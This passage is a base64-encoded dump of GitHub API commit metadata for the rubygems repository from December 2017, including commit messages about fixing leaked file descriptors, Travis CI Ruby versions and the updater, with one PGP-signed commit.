zIG5vdCBoYXZlIGBmbG9ja2Agc3lzdGVtIGNhbGwuXG5cbkZpeCAjMjA5MiIsInRyZWUiOnsic2hhIjoiZjdmYTMyMjZiZDk0MjkwZDY0M2IwMTkxYTk2OTgzMTdkODdjYjQ1MiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzL2Y3ZmEzMjI2YmQ5NDI5MGQ2NDNiMDE5MWE5Njk4MzE3ZDg3Y2I0NTIifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy81OWNmZTM2YzZmMzhmMDBjNjRiMWE0MzIxOGRmODczODUyNTgxM2E4IiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjpmYWxzZSwicmVhc29uIjoidW5zaWduZWQiLCJzaWduYXR1cmUiOm51bGwsInBheWxvYWQiOm51bGx9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzU5Y2ZlMzZjNmYzOGYwMGM2NGIxYTQzMjE4ZGY4NzM4NTI1ODEzYTgiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvNTljZmUzNmM2ZjM4ZjAwYzY0YjFhNDMyMThkZjg3Mzg1MjU4MTNhOCIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy81OWNmZTM2YzZmMzhmMDBjNjRiMWE0MzIxOGRmODczODUyNTgxM2E4L2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoiYnVuZGxlcmJvdCIsImlkIjoxMzYxNDYyMiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTM2MTQ2MjI/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9idW5kbGVyYm90IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoiaHNidCIsImlkIjoxMjMwMSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTIzMDE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9oc2J0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiYTY3NTBiNmEyYzYyNGUzZDBjNTQ5ZDE4YmVlYTkyNTVmY2MwMWI2MiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9hNjc1MGI2YTJjNjI0ZTNkMGM1NDlkMThiZWVhOTI1NWZjYzAxYjYyIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2E2NzUwYjZhMmM2MjRlM2QwYzU0OWQxOGJlZWE5MjU1ZmNjMDFiNjIifV19LHsic2hhIjoiYTY3NTBiNmEyYzYyNGUzZDBjNTQ5ZDE4YmVlYTkyNTVmY2MwMWI2MiIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6Im5vYnUiLCJlbWFpbCI6Im5vYnVAYjJkZDAzYzgtMzlkNC00ZDhmLTk4ZmYtODIzZmU2OWIwODBlIiwiZGF0ZSI6IjIwMTctMTItMjVUMDU6NTQ6MjdaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiU0hJQkFUQSBIaXJvc2hpIiwiZW1haWwiOiJoc2J0QHJ1YnktbGFuZy5vcmciLCJkYXRlIjoiMjAxNy0xMi0yNVQwNjoxMToyMloifSwibWVzc2FnZSI6ImZpeCBsZWFrZWQgZmRzXG5cbiogbGliL3J1YnlnZW1zL2NvbW1hbmQucmIgKEdlbTo6Q29tbWFuZCNpbnZva2Vfd2l0aF9idWlsZF9hcmdzKTpcbiAgcmVzdG9yZSBVSSBhbmQgY2xvc2UgdGhlIGNyZWF0ZWQgU2lsZW50VUkuXG5cbmdpdC1zdm4taWQ6IHN2bitzc2g6Ly9jaS5ydWJ5LWxhbmcub3JnL3J1YnkvdHJ1bmtANjE0NjUgYjJkZDAzYzgtMzlkNC00ZDhmLTk4ZmYtODIzZmU2OWIwODBlIiwidHJlZSI6eyJzaGEiOiI1OWEyMDlmNDNmODA5M2E1MjIxNDE3NTFmODFmYWYxODgyN2Y3ODkzIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvNTlhMjA5ZjQzZjgwOTNhNTIyMTQxNzUxZjgxZmFmMTg4MjdmNzg5MyJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzL2E2NzUwYjZhMmM2MjRlM2QwYzU0OWQxOGJlZWE5MjU1ZmNjMDFiNjIiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOmZhbHNlLCJyZWFzb24iOiJ1bnNpZ25lZCIsInNpZ25hdHVyZSI6bnVsbCwicGF5bG9hZCI6bnVsbH19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvYTY3NTBiNmEyYzYyNGUzZDBjNTQ5ZDE4YmVlYTkyNTVmY2MwMWI2MiIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9hNjc1MGI2YTJjNjI0ZTNkMGM1NDlkMThiZWVhOTI1NWZjYzAxYjYyIiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2E2NzUwYjZhMmM2MjRlM2QwYzU0OWQxOGJlZWE5MjU1ZmNjMDFiNjIvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJub2J1IiwiaWQiOjE2NzAwLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMC5naXRodWJ1c2VyY29udGVudC5jb20vdS8xNjcwMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbm9idSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL25vYnUiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ub2J1L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL25vYnUvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbm9idS9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbm9idS9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL25vYnUvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ub2J1L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL25vYnUvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ub2J1L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ub2J1L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJoc2J0IiwiaWQiOjEyMzAxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMjMwMT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2hzYnQiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiJkYmEwZmRjZmEwNjI2M2UwNmEwNTZiNmVlOWY2N2I2YmYxOGVmMmUwIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2RiYTBmZGNmYTA2MjYzZTA2YTA1NmI2ZWU5ZjY3YjZiZjE4ZWYyZTAiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvZGJhMGZkY2ZhMDYyNjNlMDZhMDU2YjZlZTlmNjdiNmJmMThlZjJlMCJ9XX0seyJzaGEiOiJkYmEwZmRjZmEwNjI2M2UwNmEwNTZiNmVlOWY2N2I2YmYxOGVmMmUwIiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiVGhlIEJ1bmRsZXIgQm90IiwiZW1haWwiOiJib3RAYnVuZGxlci5pbyIsImRhdGUiOiIyMDE3LTEyLTE5VDE5OjQzOjMwWiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6IlNISUJBVEEgSGlyb3NoaSIsImVtYWlsIjoiaHNidEBydWJ5LWxhbmcub3JnIiwiZGF0ZSI6IjIwMTctMTItMjVUMDY6MDY6NDFaIn0sIm1lc3NhZ2UiOiJBdXRvIG1lcmdlIG9mICMyMTE3IC0gTVNQLUdyZWc6dHJhdmlzX3J1YnksIHI9Y29sYnktc3dhbmRhbGVcblxuVHJ5IFRyYXZpcyB3aXRoIFJ1YnkgMi4yLjksIDIuMy42LCAyLjQuM1xuXG4jIERlc2NyaXB0aW9uOlxuXG5VcGRhdGUgVHJhdmlzIHdpdGggbmV3IFJ1YnkgdmVyc2lvbnMgMi4yLjksIDIuMy42LCAyLjQuMyAmIHVwZGF0ZSBleGNsdWRlc1xuXG4jIFRhc2tzOlxuXG4tIFtYXSBEZXNjcmliZSB0aGUgcHJvYmxlbSAvIGZlYXR1cmVcbi0gWyBdIFdyaXRlIHRlc3RzXG4tIFtYXSBXcml0ZSBjb2RlIHRvIHNvbHZlIHRoZSBwcm9ibGVtXG4tIFsgXSBHZXQgY29kZSByZXZpZXcgZnJvbSBjb3dvcmtlcnMgLyBmcmllbmRzXG5cbkkgd2lsbCBhYmlkZSBieSB0aGUgW2NvZGUgb2YgY29uZHVjdF0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL0NPREVfT0ZfQ09ORFVDVC5tZCkuIiwidHJlZSI6eyJzaGEiOiJhYjljYTBmNzdiNzBiYjY4OGY1Yzc4OWI5NDU1ZTY3Yjg3NGMwNGZjIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvYWI5Y2EwZjc3YjcwYmI2ODhmNWM3ODliOTQ1NWU2N2I4NzRjMDRmYyJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzL2RiYTBmZGNmYTA2MjYzZTA2YTA1NmI2ZWU5ZjY3YjZiZjE4ZWYyZTAiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOmZhbHNlLCJyZWFzb24iOiJ1bnNpZ25lZCIsInNpZ25hdHVyZSI6bnVsbCwicGF5bG9hZCI6bnVsbH19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZGJhMGZkY2ZhMDYyNjNlMDZhMDU2YjZlZTlmNjdiNmJmMThlZjJlMCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9kYmEwZmRjZmEwNjI2M2UwNmEwNTZiNmVlOWY2N2I2YmYxOGVmMmUwIiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2RiYTBmZGNmYTA2MjYzZTA2YTA1NmI2ZWU5ZjY3YjZiZjE4ZWYyZTAvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJidW5kbGVyYm90IiwiaWQiOjEzNjE0NjIyLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMzYxNDYyMj92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2J1bmRsZXJib3QiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJoc2J0IiwiaWQiOjEyMzAxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMjMwMT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2hzYnQiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiIwMGRmMGNhYzI1ZGUwZTgzNTdkOGI5N2MwZTJjNjY1ZDcyMjQyMTFlIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzAwZGYwY2FjMjVkZTBlODM1N2Q4Yjk3YzBlMmM2NjVkNzIyNDIxMWUiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvMDBkZjBjYWMyNWRlMGU4MzU3ZDhiOTdjMGUyYzY2NWQ3MjI0MjExZSJ9XX0seyJzaGEiOiIwMGRmMGNhYzI1ZGUwZTgzNTdkOGI5N2MwZTJjNjY1ZDcyMjQyMTFlIiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiVGhlIEJ1bmRsZXIgQm90IiwiZW1haWwiOiJib3RAYnVuZGxlci5pbyIsImRhdGUiOiIyMDE3LTEyLTIzVDAxOjM5OjM5WiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6IlNISUJBVEEgSGlyb3NoaSIsImVtYWlsIjoiaHNidEBydWJ5LWxhbmcub3JnIiwiZGF0ZSI6IjIwMTctMTItMjVUMDU6NTM6MDFaIn0sIm1lc3NhZ2UiOiJBdXRvIG1lcmdlIG9mICMyMTI0IC0gcnVieWdlbXM6Zml4LXVwZGF0ZXItd2l0aC1ydWJ5Z2Vtcywgcj1oc2J0XG5cbkZpeCB1cGRhdGVyIHdpdGggcnVieWdlbXNcblxuRml4ZXMgaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMTIzIiwidHJlZSI6eyJzaGEiOiJlOGNhMTBjMzNjZWU4M2VkMzdhYmIzYWY1MTUzYjEwZjlhY2NiNDU1IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvZThjYTEwYzMzY2VlODNlZDM3YWJiM2FmNTE1M2IxMGY5YWNjYjQ1NSJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzLzAwZGYwY2FjMjVkZTBlODM1N2Q4Yjk3YzBlMmM2NjVkNzIyNDIxMWUiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOnRydWUsInJlYXNvbiI6InZhbGlkIiwic2lnbmF0dXJlIjoiLS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS1cblxuaVFFekJBQUJDQUFkRmlFRTUwTFI5MEpPby8zcEl2ZG0rYzhUUVhKaytzSUZBbHBBa2o0QUNna1ErYzhUUVhKa1xuK3NLWlh3Zi9ZbHNKZHdycnhod3BiYTJ5NkNrMEh5N09DTjRkWmF2aFFub1UxWXRlR2dtL0pGdkdoUVRBVFROVFxudEVLV0lPN1JXMXA5a0tPRWJKTXZVUSsxTHU4RTY2bmFOWTl1OU5uMUdzY1ZUWjFnNlZtNFJQUW8ycDNkRFBZL1xuNkl4S0VJTnpwckxpalB3OTR4aGFTeG9iUzljdml2emJBZ2VsRllxTWgzK3FWOHVlM2lzbXZxZWNKeDdtVGMrWlxuS0dDcS9Xck1BR2dqWVdvdkNheHVzZmVWcllBT01vT1RodjJzUklRRkNwY1ZrclAyRXpZM29xVWVlKzBadWlFelxuNjN6ZmtFZHlnMU1iTE5oQmVkMm1wZEpuaFB1MUcyNGVoS0JrRmxiNjJMMk13K2dFcmxFTFFncVFRMDlRL1NrRFxuMGhueUkzNmF5TjZ5NTFDWDQzanhjcjU0dmI5dXB3PT1cbj1uRVRMXG4tLS0tLUVORCBQR1AgU0lHTkFUVVJFLS0tLS0iLCJwYXlsb2FkIjoidHJlZSBlOGNhMTBjMzNjZWU4M2VkMzdhYmIzYWY1MTUzYjEwZjlhY2NiNDU1XG5wYXJlbnQgNTExNzVlZjRmNzFjNTZkZWE0ZWIwYTFkOTJmNzdlZjM4YmNhMjM3MFxuYXV0aG9yIFRoZSBCdW5kbGVyIEJvdCA8Ym90QGJ1bmRsZXIuaW8+IDE1MTM5OTMxNzkgKzAwMDBcbmNvbW1pdHRlciBTSElCQVRBIEhpcm9zaGkgPGhzYnRAcnVieS1sYW5nLm9yZz4gMTUxNDE4MTE4MSArMDkwMFxuXG5BdXRvIG1lcmdlIG9mICMyMTI0IC0gcnVieWdlbXM6Zml4LXVwZGF0ZXItd2l0aC1ydWJ5Z2Vtcywgcj1oc2J0XG5cbkZpeCB1cGRhdGVyIHdpdGggcnVieWdlbXNcblxuRml4ZXMgaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMTIzXG4ifX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy8wMGRmMGNhYzI1ZGUwZTgzNTdkOGI5N2MwZTJjNjY1ZDcyMjQyMTFlIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzAwZGYwY2FjMjVkZTBlODM1N2Q4Yjk3YzBlMmM2NjVkNzIyNDIxMWUiLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvMDBkZjBjYWMyNWRlMGU4MzU3ZDhiOTdjMGUyYzY2NWQ3MjI0MjExZS9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6ImJ1bmRsZXJib3QiLCJpZCI6MTM2MTQ2MjIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEzNjE0NjIyP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYnVuZGxlcmJvdCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh